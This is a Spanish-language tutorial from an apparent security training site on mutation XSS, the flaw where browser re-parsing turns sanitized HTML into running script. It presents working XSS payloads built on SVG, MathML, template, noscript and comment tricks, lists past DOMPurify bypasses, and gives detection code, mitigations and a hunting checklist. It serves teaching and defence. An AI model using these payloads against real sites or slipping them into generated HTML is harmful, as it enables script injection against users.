Respuesta rápida
Mutation XSS (mXSS) sucede cuando el HTML pasa por sanitizer + browser parser y el browser muta el HTML después de la sanitización, transformando un payload "limpio" en uno ejecutable. Vectores actuales: SVG con foreignObject, namespace switching, comments mal cerrados, MathML interfering con noscript/style, template tags. Defensa más robusta: sanitizar después de la mutación, no antes.
El concepto
Sanitizer:
Input: <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
Sanitized: <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
El sanitizer no ve nada peligroso (solo un atributo title con string). Pero al insertar en el DOM:
element.innerHTML = sanitized;
El browser re-parsea. En algunos contextos (SVG vs HTML namespace), el parser interpreta el </title> como cierre real, escupe el <img> y ejecuta onerror.
Vectores históricos
1. SVG namespace switch
<svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
En contexto SVG, <title> es CDATA-mode. El sanitizer lo pasa porque "está dentro de SVG". Al insertarlo en HTML, el browser cambia de SVG a HTML namespace al cerrar </title> y procesa <img> como tag HTML normal.
2. SVG con foreignObject
<svg><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></svg>
foreignObject permite contenido HTML dentro de SVG. Algunos sanitizers permiten SVG pero no detectan que foreignObject reactiva HTML.
3. Comments mal cerrados
<!--><img src=x onerror=alert(1)>-->
Un comment válido es <!-- ... -->. Pero <!--> es comment vacío seguido de HTML normal. Sanitizers que parsean strict comments fallan con esta variante.
4. MathML
<math><mi xlink:href="data:x,<script>alert(1)</script>">click</mi></math>
MathML soporta xlink:href. Pero al renderizarlo, el browser puede interpretar el data: como script. Sanitizers viejos (pre-2020) no contemplaban MathML.
5. Template element
<template><script>alert(1)</script></template>
<template> el contenido no se ejecuta inmediatamente. Pero al moverlo al DOM con appendChild(template.content), sí.
Si el sanitizer permite template, atacante mete payload, luego trigger en otro evento mueve content al DOM activo.
6. noscript con script dentro
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<noscript> se interpreta diferente según Content-Type del documento. En application/xml vs text/html, el parser cambia. Sanitizers de un contexto pueden fallar al insertarse en otro.
7. STYLE element transition
<style><img src=x onerror=alert(1)></style>
Dentro de <style>, todo es CSS. Pero si el browser cambia el contexto (encontrando </style> o algo que rompe el parser), puede emitir el <img> al DOM.
DOMPurify y sus históricos bypasses
DOMPurify es el sanitizer estándar de facto. Tiene un track record de patches de mXSS:
- 2020 (CVE-2020-26870): SVG via attributes namespace.
- 2020: nested comments + foreignObject.
- 2021: HTML/SVG namespace switching via specific tags.
- 2022: prototype pollution via
__proto__keys. - 2023: edge cases con MathML annotation-xml.
- 2024: template element con noscript dentro.
- 2025: namespace tricks con svg + table interaction.
Mantener DOMPurify actualizado es crítico. Versions sub-2.4.x tienen mXSS conocidos.
Cómo se busca mXSS
1. Diff entre input y output post-render
const input = '<svg><p title="</title><img src=x>"></p></svg>';
const sanitized = DOMPurify.sanitize(input);
console.log("Sanitized:", sanitized);
const div = document.createElement('div');
div.innerHTML = sanitized;
console.log("Post-render:", div.innerHTML);
Si el Post-render es diferente del Sanitized, hay mutación. Si la mutación introduce tags ejecutables (img, script, iframe), mXSS.
2. Fuzzing de combinaciones
Generar combinaciones <container><inner>...payload...</inner></container> con todos los containers posibles (svg, math, table, noscript, template, style) y ver cuál muta.
3. Manual testing en context específicos
El context donde se inserta el HTML afecta la mutación:
<div>→ HTML normal.<svg>→ SVG namespace.<table>→ table parser tiene reglas extra (foster parenting).<select>→ solo permite option como child.
Siempre prueba el sanitizer en el mismo context donde el output se va a insertar.
Caso real (anonymizado)
Un sanitizer permitía SVGs con namespace adecuado. Atacante combina:
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<text x="50" y="50" text-anchor="middle">click me</text>
</a>
</svg>
El sanitizer permitía SVG y <a href="javascript:"> no era detectado porque la lógica solo bloqueaba javascript: en <a> HTML, no en SVG <a>.
Render inline en el DOM principal → ejecuta javascript: con un click. Stored XSS si el SVG se almacena en chat/comments.
(Detalle completo en el artículo "Stored XSS via SVG href javascript en chat" de la Academy.)
Mitigación correcta
- Sanitizer maintained y actualizado (DOMPurify, no rolls custom).
- Sanitizar en el context final. No serializar y deserializar entre sanitizer y render.
- CSP fuerte como segunda línea:
script-src 'self'+'strict-dynamic'. Aunque mXSS pase, sin scripts inline el impacto es nulo. - Trusted Types API: fuerza pasar el HTML por una
policy.createHTML(...)antes de poder usar innerHTML. Difícil bypass. - No SVG/MathML/Template salvo que sea estrictamente necesario. Whitelist de tags reducida.
- Re-render en sandbox (iframe sandboxed) si el HTML viene de user input crítico.
Hunting checklist
- ¿La app permite HTML user-input (rich text editor, markdown rendering, comments con HTML)?
- ¿Sanitizer es DOMPurify? ¿Versión? Buscar CVEs.
- ¿Permite SVG, MathML, foreignObject, template, noscript?
- ¿Qué pasa con
<svg><p title="</title><img>"></p></svg>? - ¿Qué pasa con namespace tricks (HTML dentro de SVG y viceversa)?
- ¿Hay sanitizer custom rolled (en lugar de DOMPurify)? Casi siempre vulnerable.
- ¿El context del insert es siempre HTML, o a veces SVG / table / select?
Labs relacionados
Practica mXSS contra DOMPurify versions vulnerables y sanitizers custom: labs de Mutation XSS.
Practica esto en un lab
Xss
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
postMessage — vulnerabilidades comunes: origin bypass, XSS sink, IDOR cross-window
Cómo identificar y explotar vulnerabilidades en window.postMessage(): listeners sin validación de origin, payloads JSON inseguros que llegan a DOM XSS, IDOR cross-origin.